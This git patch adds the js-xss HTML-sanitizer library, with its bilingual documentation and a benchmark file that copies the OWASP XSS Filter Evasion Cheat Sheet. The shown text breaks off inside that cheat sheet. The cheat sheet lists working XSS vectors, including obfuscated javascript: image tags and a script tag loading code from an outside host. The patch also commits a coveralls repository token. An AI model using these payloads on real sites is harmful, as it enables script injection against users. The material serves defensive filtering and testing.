From 90d8258b4eccfcfd59575a04f6494f618b9106a3 Mon Sep 17 00:00:00 2001 From: liwu0213 <1185677965@qq.com> Date: Wed, 15 Mar 2017 12:45:03 +0800 Subject: [PATCH] XSS CODE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 跨站脚本攻击 --- .coveralls.yml | 2 + .gitignore | 19 + .travis.yml | 7 + AUTHORS | 1 + LICENSE.md | 23 + README.md | 507 ++++++++++- README.zh.md | 497 +++++++++++ benchmark/file.html | 1471 ++++++++++++++++++++++++++++++ benchmark/index.js | 50 ++ benchmark/vs_validator.js | 24 + bin/bower_register.cmd | 1 + bin/build | 18 + bin/xss | 67 ++ bower.json | 44 + changelogs.md | 4 + dist/test.html | 15 + dist/xss.js | 1573 +++++++++++++++++++++++++++++++++ dist/xss.min.js | 1 + example/allows_attr_prefix.js | 26 + example/allows_tag_prefix.js | 26 + example/analyse_img_list.js | 27 + example/strip_tag.js | 21 + lib/cli.js | 48 + lib/default.js | 413 +++++++++ lib/index.js | 35 + lib/parser.js | 237 +++++ lib/util.js | 29 + lib/xss.js | 211 +++++ package.json | 62 ++ test/test_custom_method.js | 339 +++++++ test/test_html_parser.js | 127 +++ test/test_xss.js | 250 ++++++ typings/tsconfig.json | 7 + typings/xss-tests.ts | 49 + typings/xss.d.ts | 150 ++++ 35 files changed, 6379 insertions(+), 2 deletions(-) create mode 100644 .coveralls.yml create mode 100644 .gitignore create mode 100644 .travis.yml create mode 100644 AUTHORS create mode 100644 LICENSE.md create mode 100644 README.zh.md create mode 100644 benchmark/file.html create mode 100644 benchmark/index.js create mode 100644 benchmark/vs_validator.js create mode 100644 bin/bower_register.cmd create mode 100644 bin/build create mode 100644 bin/xss create mode 100644 bower.json create mode 100644 changelogs.md create mode 100644 dist/test.html create mode 100644 dist/xss.js create mode 100644 dist/xss.min.js create mode 100644 example/allows_attr_prefix.js create mode 100644 example/allows_tag_prefix.js create mode 100644 example/analyse_img_list.js create mode 100644 example/strip_tag.js create mode 100644 lib/cli.js create mode 100644 lib/default.js create mode 100644 lib/index.js create mode 100644 lib/parser.js create mode 100644 lib/util.js create mode 100644 lib/xss.js create mode 100644 package.json create mode 100644 test/test_custom_method.js create mode 100644 test/test_html_parser.js create mode 100644 test/test_xss.js create mode 100644 typings/tsconfig.json create mode 100644 typings/xss-tests.ts create mode 100644 typings/xss.d.ts diff --git a/.coveralls.yml b/.coveralls.yml new file mode 100644 index 0000000..9e78350 --- /dev/null +++ b/.coveralls.yml @@ -0,0 +1,2 @@ +service_name: travis-pro +repo_token: 9WQeMOiEjFQQAG2FdKJYZdKuYKLszsjEA diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..32e58a9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,19 @@ +lib-cov +*.seed +*.log +*.csv +*.dat +*.out +*.pid +*.gz + +pids +logs +results + +node_modules +npm-debug.log + +benchmark/result*.html + +coverage.html \ No newline at end of file diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..b36d819 --- /dev/null +++ b/.travis.yml @@ -0,0 +1,7 @@ +language: node_js +node_js: + - 0.10 + - 0.12 + - 4.0 + - 5.0 + - 6.0 diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..9e67b5a --- /dev/null +++ b/AUTHORS @@ -0,0 +1 @@ +Zongmin Lei (http://ucdok.com) diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..9f3e4da --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,23 @@ +Copyright (c) 2012-2016 Zongmin Lei(雷宗民) +http://ucdok.com + +The MIT License + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md index d1198d4..f5fe881 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,505 @@ -# js-xss -js解决跨站脚本攻击 +[![NPM version][npm-image]][npm-url] +[![build status][travis-image]][travis-url] +[![Test coverage][coveralls-image]][coveralls-url] +[![David deps][david-image]][david-url] +[![node version][node-image]][node-url] +[![npm download][download-image]][download-url] +[![npm license][license-image]][download-url] + +[npm-image]: https://img.shields.io/npm/v/xss.svg?style=flat-square +[npm-url]: https://npmjs.org/package/xss +[travis-image]: https://img.shields.io/travis/leizongmin/js-xss.svg?style=flat-square +[travis-url]: https://travis-ci.org/leizongmin/js-xss +[coveralls-image]: https://img.shields.io/coveralls/leizongmin/js-xss.svg?style=flat-square +[coveralls-url]: https://coveralls.io/r/leizongmin/js-xss?branch=master +[david-image]: https://img.shields.io/david/leizongmin/js-xss.svg?style=flat-square +[david-url]: https://david-dm.org/leizongmin/js-xss +[node-image]: https://img.shields.io/badge/node.js-%3E=_0.10-green.svg?style=flat-square +[node-url]: http://nodejs.org/download/ +[download-image]: https://img.shields.io/npm/dm/xss.svg?style=flat-square +[download-url]: https://npmjs.org/package/xss +[license-image]: https://img.shields.io/npm/l/xss.svg + +Sanitize untrusted HTML (to prevent XSS) with a configuration specified by a Whitelist. +====== + +![xss](https://nodei.co/npm/xss.png?downloads=true&stars=true) + +-------------- + +`xss` is a module used to filter input from users to prevent XSS attacks. +([What is XSS attack?](http://en.wikipedia.org/wiki/Cross-site_scripting)) + +**Project Homepage:** http://jsxss.com + +**Try Online:** http://jsxss.com/en/try.html + +**[中文版文档](https://github.com/leizongmin/js-xss/blob/master/README.zh.md)** + +--------------- + + +## Features + ++ Specifies HTML tags and their attributes allowed with whitelist ++ Handle any tags or attributes using custom function. + + +## Reference + ++ [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) ++ [Data URI scheme](http://en.wikipedia.org/wiki/Data_URI_scheme) ++ [XSS with Data URI Scheme](http://hi.baidu.com/badzzzz/item/bdbafe83144619c199255f7b) + + +## Benchmark (for references only) + ++ the xss module: 8.2 MB/s ++ `xss()` function from module `validator@0.3.7`: 4.4 MB/s + +For test code please refer to `benchmark` directory. + + +## They are using xss module + ++ **nodeclub** - A Node.js bbs using MongoDB - https://github.com/cnodejs/nodeclub ++ **cnpmjs.org** - Private npm registry and web for Enterprise - https://github.com/cnpm/cnpmjs.org + + +## Install + +### NPM + +```bash +$ npm install xss +``` + +### Bower + +```bash +$ bower install xss +``` + +Or + +```bash +$ bower install https://github.com/leizongmin/js-xss.git +``` + + +## Usages + +### On Node.js + +```javascript +var xss = require('xss'); +var html = xss(''); +console.log(html); +``` + +### On Browser + +Shim mode (reference file `test/test.html`): + +```html + + +``` + +AMD mode - shim: + +```html + +``` + + +## Command Line Tool + +### Process File + +You can use the xss command line tool to process a file. Usage: + +```bash +xss -i -o +``` + +Example: + +```bash +$ xss -i origin.html -o target.html +``` + +### Active Test + +Run the following command, them you can type HTML +code in the command-line, and check the filtered output: + +```bash +$ xss -t +``` + +For more details, please run `$ xss -h` to see it. + + +## Custom filter rules + +When using the `xss()` function, the second parameter could be used to specify +custom rules: + +```javascript +options = {}; // Custom rules +html = xss('', options); +``` + +To avoid passing `options` every time, you can also do it in a faster way by +creating a `FilterXSS` instance: + +```javascript +options = {}; // Custom rules +myxss = new xss.FilterXSS(options); +// then apply myxss.process() +html = myxss.process(''); +``` + +Details of parameters in `options` would be described below. + +### Whitelist + +By specifying a `whiteList`, e.g. `{ 'tagName': [ 'attr-1', 'attr-2' ] }`. Tags +and attributes not in the whitelist would be filter out. For example: + +```javascript +// only tag a and its attributes href, title, target are allowed +var options = { + whiteList: { + a: ['href', 'title', 'target'] + } +}; +// With the configuration specified above, the following HTML: +// Hello +// would become: +// Hello +``` + +For the default whitelist, please refer `xss.whiteList`. + +### Customize the handler function for matched tags + +By specifying the handler function with `onTag`: + +```javascript +function onTag (tag, html, options) { + // tag is the name of current tag, e.g. 'a' for tag + // html is the HTML of this tag, e.g. '' for tag + // options is some addition informations: + // isWhite boolean, whether the tag is in whitelist + // isClosing boolean, whether the tag is a closing tag, e.g. true for + // position integer, the position of the tag in output result + // sourcePosition integer, the position of the tag in input HTML source + // If a string is returned, the current tag would be replaced with the string + // If return nothing, the default measure would be taken: + // If in whitelist: filter attributes using onTagAttr, as described below + // If not in whitelist: handle by onIgnoreTag, as described below +} +``` + +### Customize the handler function for attributes of matched tags + +By specifying the handler function with `onTagAttr`: + +```javascript +function onTagAttr (tag, name, value, isWhiteAttr) { + // tag is the name of current tag, e.g. 'a' for tag + // name is the name of current attribute, e.g. 'href' for href="#" + // isWhiteAttr whether the attribute is in whitelist + // If a string is returned, the attribute would be replaced with the string + // If return nothing, the default measure would be taken: + // If in whitelist: filter the value using safeAttrValue as described below + // If not in whitelist: handle by onIgnoreTagAttr, as described below +} +``` + +### Customize the handler function for tags not in the whitelist + +By specifying the handler function with `onIgnoreTag`: + +```javascript +function onIgnoreTag (tag, html, options) { + // Parameters are the same with onTag + // If a string is returned, the tag would be replaced with the string + // If return nothing, the default measure would be taken (specifies using + // escape, as described below) +} +``` + +### Customize the handler function for attributes not in the whitelist + +By specifying the handler function with `onIgnoreTagAttr`: + +```javascript +function onIgnoreTagAttr (tag, name, value, isWhiteAttr) { + // Parameters are the same with onTagAttr + // If a string is returned, the value would be replaced with this string + // If return nothing, then keep default (remove the attribute) +} +``` + +### Customize escaping function for HTML + +By specifying the handler function with `escapeHtml`. Following is the default +function **(Modification is not recommended)**: + +```javascript +function escapeHtml (html) { + return html.replace(//g, '>'); +} +``` + +### Customize escaping function for value of attributes + +By specifying the handler function with `safeAttrValue`: + +```javascript +function safeAttrValue (tag, name, value) { + // Parameters are the same with onTagAttr (without options) + // Return the value as a string +} +``` + +### Customize CSS filter + +If you allow the attribute `style`, the value will be processed by [cssfilter](https://github.com/leizongmin/js-css-filter) module. The cssfilter module includes a default css whitelist. You can specify the options for cssfilter module like this: + +```javascript +myxss = new xss.FilterXSS({ + css: { + whiteList: { + position: /^fixed|relative$/, + top: true, + left: true, + } + } +}); +html = myxss.process(''); +``` + +If you don't want to filter out the `style` content, just specify `false` to the `css` option: + +```javascript +myxss = new xss.FilterXSS({ + css: false, +}); +``` + +For more help, please see https://github.com/leizongmin/js-css-filter + +### Quick Start + +#### Filter out tags not in the whitelist + +By using `stripIgnoreTag` parameter: + ++ `true` filter out tags not in the whitelist ++ `false`: by default: escape the tag using configured `escape` function + +Example: + +If `stripIgnoreTag = true` is set, the following code: + +```html +code: +``` + +would output filtered: + +```html +code:alert(/xss/); +``` + +#### Filter out tags and tag bodies not in the whitelist + +By using `stripIgnoreTagBody` parameter: + ++ `false|null|undefined` by default: do nothing ++ `'*'|true`: filter out all tags not in the whitelist ++ `['tag1', 'tag2']`: filter out only specified tags not in the whitelist + +Example: + +If `stripIgnoreTagBody = ['script']` is set, the following code: + +```html +code: +``` + +would output filtered: + +```html +code: +``` + +#### Filter out HTML comments + +By using `allowCommentTag` parameter: + ++ `true`: do nothing ++ `false` by default: filter out HTML comments + +Example: + +If `allowCommentTag = false` is set, the following code: + +```html +code: END +``` + +would output filtered: + +```html +code: END +``` + + +## Examples + +### Allow attributes of whitelist tags start with `data-` + +```javascript +var source = '
hello
'; +var html = xss(source, { + onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { + if (name.substr(0, 5) === 'data-') { + // escape its value using built-in escapeAttrValue function + return name + '="' + xss.escapeAttrValue(value) + '"'; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); +``` + +Result: + +```html +
hello
+convert to: +
hello
+``` + +### Allow tags start with `x-` + +```javascript +var source = 'hewwww
'; +var html = xss(source, { + onIgnoreTag: function (tag, html, options) { + if (tag.substr(0, 2) === 'x-') { + // do not filter its attributes + return html; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); +``` + +Result: + +```html +hewwww +convert to: +<x>hewwww +``` + +### Parse images in HTML + +```javascript +var source = 'abcd'; +var list = []; +var html = xss(source, { + onTagAttr: function (tag, name, value, isWhiteAttr) { + if (tag === 'img' && name === 'src') { + // Use the built-in friendlyAttrValue function to escape attribute + // values. It supports converting entity tags such as < to printable + // characters such as < + list.push(xss.friendlyAttrValue(value)); + } + // Return nothing, means keep the default handling measure + } +}); + +console.log('image list:\n%s', list.join(', ')); +``` + +Result: + +```html +image list: +img1, img2, img3, img4 +``` + +### Filter out HTML tags (keeps only plain text) + +```javascript +var source = 'helloend'; +var html = xss(source, { + whiteList: [], // empty, means filter out all tags + stripIgnoreTag: true, // filter out all HTML not in the whilelist + stripIgnoreTagBody: ['script'] // the script tag is a special case, we need + // to filter out its content +}); + +console.log('text: %s', html); +``` + +Result: + +```html +text: helloend +``` + + +## License + +``` +Copyright (c) 2012-2016 Zongmin Lei(雷宗民) +http://ucdok.com + +The MIT License + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +``` diff --git a/README.zh.md b/README.zh.md new file mode 100644 index 0000000..221731c --- /dev/null +++ b/README.zh.md @@ -0,0 +1,497 @@ +[![NPM version][npm-image]][npm-url] +[![build status][travis-image]][travis-url] +[![Test coverage][coveralls-image]][coveralls-url] +[![David deps][david-image]][david-url] +[![node version][node-image]][node-url] +[![npm download][download-image]][download-url] +[![npm license][license-image]][download-url] + +[npm-image]: https://img.shields.io/npm/v/xss.svg?style=flat-square +[npm-url]: https://npmjs.org/package/xss +[travis-image]: https://img.shields.io/travis/leizongmin/js-xss.svg?style=flat-square +[travis-url]: https://travis-ci.org/leizongmin/js-xss +[coveralls-image]: https://img.shields.io/coveralls/leizongmin/js-xss.svg?style=flat-square +[coveralls-url]: https://coveralls.io/r/leizongmin/js-xss?branch=master +[david-image]: https://img.shields.io/david/leizongmin/js-xss.svg?style=flat-square +[david-url]: https://david-dm.org/leizongmin/js-xss +[node-image]: https://img.shields.io/badge/node.js-%3E=_0.10-green.svg?style=flat-square +[node-url]: http://nodejs.org/download/ +[download-image]: https://img.shields.io/npm/dm/xss.svg?style=flat-square +[download-url]: https://npmjs.org/package/xss +[license-image]: https://img.shields.io/npm/l/xss.svg + +根据白名单过滤HTML(防止XSS攻击) +====== + +![xss](https://nodei.co/npm/xss.png?downloads=true&stars=true) + +-------------- + +`xss`是一个用于对用户输入的内容进行过滤,以避免遭受XSS攻击的模块 +([什么是XSS攻击?](http://baike.baidu.com/view/2161269.htm))。主要用于论坛、博客、网上商店等等一些可允许用户录入页面排版、 +格式控制相关的HTML的场景,`xss`模块通过白名单来控制允许的标签及相关的标签属性, +另外还提供了一系列的接口以便用户扩展,比其他同类模块更为灵活。 + +**项目主页:** http://jsxss.com + +**在线测试:** http://jsxss.com/zh/try.html + +--------------- + + +## 特性 + ++ 白名单控制允许的HTML标签及各标签的属性 ++ 通过自定义处理函数,可对任意标签及其属性进行处理 + + +## 参考资料 + ++ [XSS与字符编码的那些事儿 ---科普文](http://drops.wooyun.org/tips/689) ++ [腾讯实例教程:那些年我们一起学XSS](http://www.wooyun.org/whitehats/%E5%BF%83%E4%BC%A4%E7%9A%84%E7%98%A6%E5%AD%90) ++ [mXSS攻击的成因及常见种类](http://drops.wooyun.org/tips/956) ++ [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) ++ [Data URI scheme](http://en.wikipedia.org/wiki/Data_URI_scheme) ++ [XSS with Data URI Scheme](http://hi.baidu.com/badzzzz/item/bdbafe83144619c199255f7b) + + +## 性能(仅作参考) + ++ xss模块:8.2 MB/s ++ validator@0.3.7模块的xss()函数:4.4 MB/s + +测试代码参考 benchmark 目录 + + +## 安装 + +### NPM + +```bash +$ npm install xss +``` + +### Bower + +```bash +$ bower install xss +``` + +或者 + +```bash +$ bower install https://github.com/leizongmin/js-xss.git +``` + + +## 使用方法 + +### 在Node.js中使用 + +```javascript +var xss = require('xss'); +var html = xss(''); +console.log(html); +``` + +### 在浏览器端使用 + +Shim模式(参考文件 `test/test.html`): + +```html + + +``` + +AMD模式(参考文件 `test/test_amd.html`): + +```html + +``` + + +### 使用命令行工具来对文件进行XSS处理 + +### 处理文件 + +可通过内置的 `xss` 命令来对输入的文件进行XSS处理。使用方法: + +```bash +xss -i <源文件> -o <目标文件> +``` + +例: + +```bash +$ xss -i origin.html -o target.html +``` + +### 在线测试 + +执行以下命令,可在命令行中输入HTML代码,并看到过滤后的代码: + +```bash +$ xss -t +``` + +详细命令行参数说明,请输入 `$ xss -h` 来查看。 + + +## 自定义过滤规则 + +在调用 `xss()` 函数进行过滤时,可通过第二个参数来设置自定义规则: + +```javascript +options = {}; // 自定义规则 +html = xss('', options); +``` + +如果不想每次都传入一个 `options` 参数,可以创建一个 `FilterXSS` 实例 +(使用这种方法速度更快): + +``` +options = {}; // 自定义规则 +myxss = new xss.FilterXSS(options); +// 以后直接调用 myxss.process() 来处理即可 +html = myxss.process(''); +``` + +`options` 参数的详细说明见下文。 + +### 白名单 + +通过 `whiteList` 来指定,格式为:`{'标签名': ['属性1', '属性2']}`。不在白名单上 +的标签将被过滤,不在白名单上的属性也会被过滤。以下是示例: + +```javascript +// 只允许a标签,该标签只允许href, title, target这三个属性 +var options = { + whiteList: { + a: ['href', 'title', 'target'] + } +}; +// 使用以上配置后,下面的HTML +// 大家好 +// 将被过滤为 +// 大家好 +``` + +默认白名单参考 `xss.whiteList`。 + +### 自定义匹配到标签时的处理方法 + +通过 `onTag` 来指定相应的处理函数。以下是详细说明: + +```javascript +function onTag (tag, html, options) { + // tag是当前的标签名称,比如标签,则tag的值是'a' + // html是该标签的HTML,比如标签,则html的值是'' + // options是一些附加的信息,具体如下: + // isWhite boolean类型,表示该标签是否在白名单上 + // isClosing boolean类型,表示该标签是否为闭合标签,比如时为true + // position integer类型,表示当前标签在输出的结果中的起始位置 + // sourcePosition integer类型,表示当前标签在原HTML中的起始位置 + // 如果返回一个字符串,则当前标签将被替换为该字符串 + // 如果不返回任何值,则使用默认的处理方法: + // 在白名单上: 通过onTagAttr来过滤属性,详见下文 + // 不在白名单上:通过onIgnoreTag指定,详见下文 +} +``` + +### 自定义匹配到标签的属性时的处理方法 + +通过 `onTagAttr` 来指定相应的处理函数。以下是详细说明: + +```javascript +function onTagAttr (tag, name, value, isWhiteAttr) { + // tag是当前的标签名称,比如标签,则tag的值是'a' + // name是当前属性的名称,比如href="#",则name的值是'href' + // value是当前属性的值,比如href="#",则value的值是'#' + // isWhiteAttr是否为白名单上的属性 + // 如果返回一个字符串,则当前属性值将被替换为该字符串 + // 如果不返回任何值,则使用默认的处理方法 + // 在白名单上: 调用safeAttrValue来过滤属性值,并输出该属性,详见下文 + // 不在白名单上:通过onIgnoreTagAttr指定,详见下文 +} +``` + +### 自定义匹配到不在白名单上的标签时的处理方法 + +通过 `onIgnoreTag` 来指定相应的处理函数。以下是详细说明: + +```javascript +function onIgnoreTag (tag, html, options) { + // 参数说明与onTag相同 + // 如果返回一个字符串,则当前标签将被替换为该字符串 + // 如果不返回任何值,则使用默认的处理方法(通过escape指定,详见下文) +} +``` + +### 自定义匹配到不在白名单上的属性时的处理方法 + +通过 `onIgnoreTagAttr` 来指定相应的处理函数。以下是详细说明: + +```javascript +function onIgnoreTagAttr (tag, name, value, isWhiteAttr) { + // 参数说明与onTagAttr相同 + // 如果返回一个字符串,则当前属性值将被替换为该字符串 + // 如果不返回任何值,则使用默认的处理方法(删除该属) +} +``` + +### 自定义HTML转义函数 + +通过 `escapeHtml` 来指定相应的处理函数。以下是默认代码 **(不建议修改)** : + +```javascript +function escapeHtml (html) { + return html.replace(//g, '>'); +} +``` + +### 自定义标签属性值的转义函数 + +通过 `safeAttrValue` 来指定相应的处理函数。以下是详细说明: + +```javascript +function safeAttrValue (tag, name, value) { + // 参数说明与onTagAttr相同(没有options参数) + // 返回一个字符串表示该属性值 +} +``` + +### 自定义CSS过滤器 + +如果配置中允许了标签的 `style` 属性,则它的值会通过[cssfilter](https://github.com/leizongmin/js-css-filter) 模块处理。 +`cssfilter` 模块包含了一个默认的CSS白名单,你可以通过以下的方式配置: + +```javascript +myxss = new xss.FilterXSS({ + css: { + whiteList: { + position: /^fixed|relative$/, + top: true, + left: true, + } + } +}); +html = myxss.process(''); +``` + +如果不想使用 CSS 过滤器来处理 `style` 属性的内容,可指定 `css` 选项的值为 `false`: + +```javascript +myxss = new xss.FilterXSS({ + css: false, +}); +``` + +要获取更多的帮助信息可看这里:https://github.com/leizongmin/js-css-filter + +### 快捷配置 + +#### 去掉不在白名单上的标签 + +通过 `stripIgnoreTag` 来设置: + ++ `true`:去掉不在白名单上的标签 ++ `false`:(默认),使用配置的`escape`函数对该标签进行转义 + +示例: + +当设置 `stripIgnoreTag = true`时,以下代码 + +```html +code: +``` + +过滤后将输出 + +```html +code:alert(/xss/); +``` + +#### 去掉不在白名单上的标签及标签体 + +通过 `stripIgnoreTagBody` 来设置: + ++ `false|null|undefined`:(默认),不特殊处理 ++ `'*'|true`:去掉所有不在白名单上的标签 ++ `['tag1', 'tag2']`:仅去掉指定的不在白名单上的标签 + +示例: + +当设置 `stripIgnoreTagBody = ['script']`时,以下代码 + +```html +code: +``` + +过滤后将输出 + +```html +code: +``` + +#### 去掉HTML备注 + +通过 `allowCommentTag` 来设置: + ++ `true`:不处理 ++ `false`:(默认),自动去掉HTML中的备注 + +示例: + +当设置 `allowCommentTag = false` 时,以下代码 + +```html +code: END +``` + +过滤后将输出 + +```html +code: END +``` + + +## 应用实例 + +### 允许标签以data-开头的属性 + +```javascript +var source = '
hello
'; +var html = xss(source, { + onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { + if (name.substr(0, 5) === 'data-') { + // 通过内置的escapeAttrValue函数来对属性值进行转义 + return name + '="' + xss.escapeAttrValue(value) + '"'; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); +``` + +运行结果: + +```html +
hello
+convert to: +
hello
+``` + +### 允许名称以x-开头的标签 + +```javascript +var source = 'hewwww
'; +var html = xss(source, { + onIgnoreTag: function (tag, html, options) { + if (tag.substr(0, 2) === 'x-') { + // 不对其属性列表进行过滤 + return html; + } + } +}); + +console.log('%s\nconvert to:\n%s', source, html); +``` + +运行结果: + +```html +hewwww +convert to: +<x>hewwww +``` + +### 分析HTML代码中的图片列表 + +```javascript +var source = 'abcd'; +var list = []; +var html = xss(source, { + onTagAttr: function (tag, name, value, isWhiteAttr) { + if (tag === 'img' && name === 'src') { + // 使用内置的friendlyAttrValue函数来对属性值进行转义,可将<这类的实体标记转换成打印字符< + list.push(xss.friendlyAttrValue(value)); + } + // 不返回任何值,表示还是按照默认的方法处理 + } +}); + +console.log('image list:\n%s', list.join(', ')); +``` + +运行结果: + +```html +image list: +img1, img2, img3, img4 +``` + +### 去除HTML标签(只保留文本内容) + +```javascript +var source = 'helloend'; +var html = xss(source, { + whiteList: [], // 白名单为空,表示过滤所有标签 + stripIgnoreTag: true, // 过滤所有非白名单标签的HTML + stripIgnoreTagBody: ['script'] // script标签较特殊,需要过滤标签中间的内容 +}); + +console.log('text: %s', html); +``` + +运行结果: + +```html +text: helloend +``` + + +## 授权协议 + +``` +Copyright (c) 2012-2016 Zongmin Lei(雷宗民) +http://ucdok.com + +The MIT License + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +``` diff --git a/benchmark/file.html b/benchmark/file.html new file mode 100644 index 0000000..19ee785 --- /dev/null +++ b/benchmark/file.html @@ -0,0 +1,1471 @@ + + + + +XSS Filter Evasion Cheat Sheet - OWASP + + + + + + + + + + + + + + + +
+
+ +
+ + + +

XSS Filter Evasion Cheat Sheet

+ + +
+ +
From OWASP
+ + +
+ + +
+ Jump to: navigation, + search +
+ + +

Contents

+ +
+

Introduction

+

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. +

+

Tests

+

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. +

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts. +

+

XSS Locator

+

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably: +

+
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
+alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
+></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
+
+

Browser support: [IE7.0 logo-browser-ie8.png|IE6.0 ie.gif|NS8.1-IE netscape.png] [NS8.1-G netscape.png|FF2.0 firefox-16.png] [O9.02 opera_icon.gif] +

+

XSS locator 2

+

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses <XSS to see if it is vulnerable: +

+
;!--"<XSS>=&{()}
+
+

Browser support: [IE7.0 logo-browser-ie8.png|IE6.0 ie.gif|NS8.1-IE netscape.png] [NS8.1-G netscape.png|FF2.0 firefox-16.png] [O9.02 opera_icon.gif] +

+

No Filter Evasion

+

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here): +

+
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
+
+

Browser support: [IE7.0 logo-browser-ie8.png|IE6.0 ie.gif|NS8.1-IE netscape.png] [NS8.1-G netscape.png|FF2.0 firefox-16.png] [O9.02 opera_icon.gif] +


+

+

Image XSS using the JavaScript directive

+

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well: +

+
<IMG SRC="javascript:alert('XSS');">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

No quotes and no semicolon

+
<IMG SRC=javascript:alert('XSS')>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Case insensitive XSS attack vector

+
<IMG SRC=JaVaScRiPt:alert('XSS')>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

HTML entities

+

The semicolons are required for this to work: +

+
<IMG SRC=javascript:alert("XSS")>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Grave accent obfuscation

+

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: +

+
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Malformed IMG tags

+

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag: +

+
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

